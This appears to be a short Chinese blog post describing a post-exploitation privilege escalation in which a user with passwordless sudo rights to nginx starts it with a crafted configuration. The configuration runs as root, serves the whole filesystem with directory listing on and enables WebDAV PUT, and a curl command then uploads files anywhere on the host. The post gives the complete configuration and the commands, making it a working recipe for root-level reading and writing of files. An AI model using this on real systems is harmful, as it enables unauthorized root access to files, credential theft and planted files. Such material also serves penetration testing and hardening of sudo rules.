如果普通用户可以以更高权限的用户执行nginx命令,拥有sudo权限,
比如,查看sudo权限:
sudo -l
...
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
可以利用nginx配置文件实现提权。
具体来说,如果可以以root身份运行nginx,就可以利用nginx配置文件做到把任意文件上传到主机的任意位置,或者下载和读取任意文件。
使用如下命令指定nginx配置文件
nginx -c /file/to/configration_file
nginx配置文件可以这样写:
nginx.config
----------------------------------------
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1339;
root /;
autoindex on;
dav_methods PUT;
}
}
----------------------------------------
配置文件指定了监听端口是1339,指定了nginx的根目录是/,启用了PUT方法。
此时如果可以从其他主机访问,或者从目标主机本地访问,可以进行这样的文件上传操作:
curl -X PUT -T /file/to/upload_file http://IP:1339/dir/file
把本地的upload_file文件上传到目标主机。
同时也可以直接下载目标主机上的文件,只要可以访问到。
Nginx配置漏洞利用(后渗透)- sudo nginx
最新推荐文章于 2024-10-11 19:08:06 发布